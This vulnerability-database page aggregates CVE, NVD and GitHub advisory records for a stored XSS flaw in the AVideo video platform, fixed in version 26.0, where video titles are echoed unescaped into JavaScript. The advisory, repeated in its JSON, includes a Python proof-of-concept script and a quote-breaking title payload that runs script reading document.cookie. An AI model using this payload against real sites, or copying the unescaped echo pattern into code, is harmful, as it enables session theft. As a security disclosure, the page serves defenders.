Vulnerability-Lookup

CVE-2026-33295 (GCVE-0-2026-33295)

Vulnerability from cvelistv5 – Published: 2026-03-22 17:00 – Updated: 2026-03-23 21:41

Title

AVideo Vulnerable to Stored XSS via Unescaped Video Title in CDN downloadButtons.php

Summary

WWBN AVideo is an open source video platform. Prior to version 26.0, WWBN/AVideo contains a stored cross-site scripting vulnerability in the CDN plugin's download buttons component. The `clean_title` field of a video record is interpolated directly into a JavaScript string literal without any escaping, allowing an attacker who can create or modify a video to inject arbitrary JavaScript that executes in the browser of any user who visits the affected download page. Version 26.0 fixes the issue.

Severity

8.2 (High)


                        
                          CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:A/VC:H/VI:L/VA:N/SC:H/SI:L/SA:N

SSVC

Exploitation: poc Automatable: no Technical Impact: partial

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-03-23 21:32 UTC

CWE

CWE-79 - Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Assigner

GitHub_M mitre root

References

2 references

URL	Tags
https://github.com/WWBN/AVideo/security/advisorie…	x_refsource_CONFIRM
https://github.com/WWBN/AVideo/commit/30cdd825fa5…	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version	CPE status
WWBN	AVideo	Affected: < 26.0	guessed

Show details on NVD website

JSON

To clipboard

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}

FKIE_CVE-2026-33295

Vulnerability from fkie_nvd - Published: 2026-03-22 17:17 - Updated: 2026-06-17 10:37

Severity

5.4 (Medium) - CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

Summary

References

URL	Tags
security-advisories@github.com	https://github.com/WWBN/AVideo/commit/30cdd825fa5778c1d678c2402be2413b84ee4833	Patch
security-advisories@github.com	https://github.com/WWBN/AVideo/security/advisories/GHSA-gc3m-4mcr-h3pv	Exploit, Vendor Advisory
134c704f-9b21-4f2e-91b3-4a467353bcc0	https://github.com/WWBN/AVideo/security/advisories/GHSA-gc3m-4mcr-h3pv	Exploit, Vendor Advisory

Impacted products

	Vendor	Product	Version
	wwbn	avideo	*

JSON

To clipboard

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    },
    {
      "lang": "es",
      "value": "WWBN AVideo es una plataforma de video de c\u00f3digo abierto. Antes de la versi\u00f3n 26.0, WWBN/AVideo contiene una vulnerabilidad de cross-site scripting almacenado en el componente de botones de descarga del plugin CDN. El campo \u0027clean_title\u0027 de un registro de video se interpola directamente en un literal de cadena de JavaScript sin ning\u00fan escape, permitiendo a un atacante que puede crear o modificar un video inyectar JavaScript arbitrario que se ejecuta en el navegador de cualquier usuario que visite la p\u00e1gina de descarga afectada. La versi\u00f3n 26.0 corrige el problema."
    }
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  "lastModified": "2026-06-17T10:37:16.210",
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          "userInteraction": "ACTIVE",
          "valueDensity": "NOT_DEFINED",
          "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:A/VC:H/VI:L/VA:N/SC:H/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
          "version": "4.0",
          "vulnAvailabilityImpact": "NONE",
          "vulnConfidentialityImpact": "HIGH",
          "vulnIntegrityImpact": "LOW",
          "vulnerabilityResponseEffort": "NOT_DEFINED"
        },
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ],
    "ssvcV203": [
      {
        "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
        "ssvcData": {
          "id": "CVE-2026-33295",
          "options": [
            {
              "exploitation": "poc"
            },
            {
              "automatable": "no"
            },
            {
              "technicalImpact": "partial"
            }
          ],
          "role": "CISA Coordinator",
          "timestamp": "2026-03-23T21:32:31.703799Z",
          "version": "2.0.3"
        }
      }
    ]
  },
  "published": "2026-03-22T17:17:09.257",
  "references": [
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Patch"
      ],
      "url": "https://github.com/WWBN/AVideo/commit/30cdd825fa5778c1d678c2402be2413b84ee4833"
    },
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Exploit",
        "Vendor Advisory"
      ],
      "url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-gc3m-4mcr-h3pv"
    },
    {
      "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
      "tags": [
        "Exploit",
        "Vendor Advisory"
      ],
      "url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-gc3m-4mcr-h3pv"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Analyzed",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-79"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Secondary"
    }
  ]
}

GHSA-GC3M-4MCR-H3PV

Vulnerability from github – Published: 2026-03-19 17:12 – Updated: 2026-03-25 18:35

Summary

AVideo Affected by Stored XSS via Unescaped Video Title in CDN downloadButtons.php

Details

Summary

WWBN/AVideo contains a stored cross-site scripting vulnerability in the CDN plugin's download buttons component. The clean_title field of a video record is interpolated directly into a JavaScript string literal without any escaping, allowing an attacker who can create or modify a video to inject arbitrary JavaScript that executes in the browser of any user who visits the affected download page.

Details

At line 59 of the affected file, the following PHP code constructs a JavaScript function call:

downloadURLOrAlertError(url, {}, '<?php echo $video['clean_title']; ?>.' + format, progress);

The clean_title value is echoed verbatim inside a single-quoted JavaScript string literal. No JavaScript-context escaping is applied, such as wrapping with json_encode or htmlspecialchars with appropriate flags. Because the value sits inside a JS string delimited by single quotes, any input containing a single quote character allows an attacker to terminate the string prematurely and inject arbitrary JavaScript expressions. The clean_title field is derived from user-supplied video title input, meaning any user with video creation or editing privileges can craft a malicious title. The injected script executes in the security context of whatever user loads the download page for that video, which may include administrators or authenticated users with elevated privileges.

PoC

import requests

target = "https://example.com"
login_url = f"{target}/user"
upload_url = f"{target}/video/addNew"

session = requests.Session()

session.post(login_url, data={
    "user[user]": "attacker",
    "user[pass]": "attackerpassword"
})

malicious_title = "');alert(document.cookie);//"

session.post(upload_url, data={
    "title": malicious_title,
    "description": "poc"
})

After the video is created, navigate to:

https://example.com/plugin/CDN/downloadButtons.php?videos_id=<TARGET_VIDEO_ID>

The rendered page will contain:

downloadURLOrAlertError(url, {}, '');alert(document.cookie);//.' + format, progress);

Impact

Any user who can create or edit a video can store malicious JavaScript that will execute in the browser of any other user who visits the download page for that video. This includes scenarios where an attacker with a low-privilege account targets administrator sessions. Successful exploitation enables session cookie theft, credential harvesting, and actions performed on behalf of the victim within the application. Because the payload is stored server-side and triggers without further attacker interaction, all users who access download pages for attacker-controlled videos are at risk.

Severity

8.2 (High)


                  
                    CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:A/VC:H/VI:L/VA:N/SC:H/SI:L/SA:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "wwbn/avideo"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "25.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-33295"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-79"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-19T17:12:19Z",
    "nvd_published_at": "2026-03-22T17:17:09Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\nWWBN/AVideo contains a stored cross-site scripting vulnerability in the CDN plugin\u0027s download buttons component. The `clean_title` field of a video record is interpolated directly into a JavaScript string literal without any escaping, allowing an attacker who can create or modify a video to inject arbitrary JavaScript that executes in the browser of any user who visits the affected download page.\n\n### Details\n\nAt line 59 of the affected file, the following PHP code constructs a JavaScript function call:\n\n```php\ndownloadURLOrAlertError(url, {}, \u0027\u003c?php echo $video[\u0027clean_title\u0027]; ?\u003e.\u0027 + format, progress);\n```\n\nThe `clean_title` value is echoed verbatim inside a single-quoted JavaScript string literal. No JavaScript-context escaping is applied, such as wrapping with `json_encode` or htmlspecialchars with appropriate flags. Because the value sits inside a JS string delimited by single quotes, any input containing a single quote character allows an attacker to terminate the string prematurely and inject arbitrary JavaScript expressions. The `clean_title` field is derived from user-supplied video title input, meaning any user with video creation or editing privileges can craft a malicious title. The injected script executes in the security context of whatever user loads the download page for that video, which may include administrators or authenticated users with elevated privileges.\n\n### PoC\n\n```python\nimport requests\n\ntarget = \"https://example.com\"\nlogin_url = f\"{target}/user\"\nupload_url = f\"{target}/video/addNew\"\n\nsession = requests.Session()\n\nsession.post(login_url, data={\n    \"user[user]\": \"attacker\",\n    \"user[pass]\": \"attackerpassword\"\n})\n\nmalicious_title = \"\u0027);alert(document.cookie);//\"\n\nsession.post(upload_url, data={\n    \"title\": malicious_title,\n    \"description\": \"poc\"\n})\n```\n\nAfter the video is created, navigate to:\n\n```\nhttps://example.com/plugin/CDN/downloadButtons.php?videos_id=\u003cTARGET_VIDEO_ID\u003e\n```\n\nThe rendered page will contain:\n\n```javascript\ndownloadURLOrAlertError(url, {}, \u0027\u0027);alert(document.cookie);//.\u0027 + format, progress);\n```\n\n### Impact\n\nAny user who can create or edit a video can store malicious JavaScript that will execute in the browser of any other user who visits the download page for that video. This includes scenarios where an attacker with a low-privilege account targets administrator sessions. Successful exploitation enables session cookie theft, credential harvesting, and actions performed on behalf of the victim within the application. Because the payload is stored server-side and triggers without further attacker interaction, all users who access download pages for attacker-controlled videos are at risk.",
  "id": "GHSA-gc3m-4mcr-h3pv",
  "modified": "2026-03-25T18:35:10Z",
  "published": "2026-03-19T17:12:19Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-gc3m-4mcr-h3pv"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33295"
    },
    {
      "type": "WEB",
      "url": "https://github.com/WWBN/AVideo/commit/30cdd825fa5778c1d678c2402be2413b84ee4833"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/WWBN/AVideo"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:A/VC:H/VI:L/VA:N/SC:H/SI:L/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "AVideo Affected by Stored XSS via Unescaped Video Title in CDN downloadButtons.php"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.

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Action not permitted

CVE-2026-33295 (GCVE-0-2026-33295)

FKIE_CVE-2026-33295

GHSA-GC3M-4MCR-H3PV

Summary

Details

PoC

Impact

Tags

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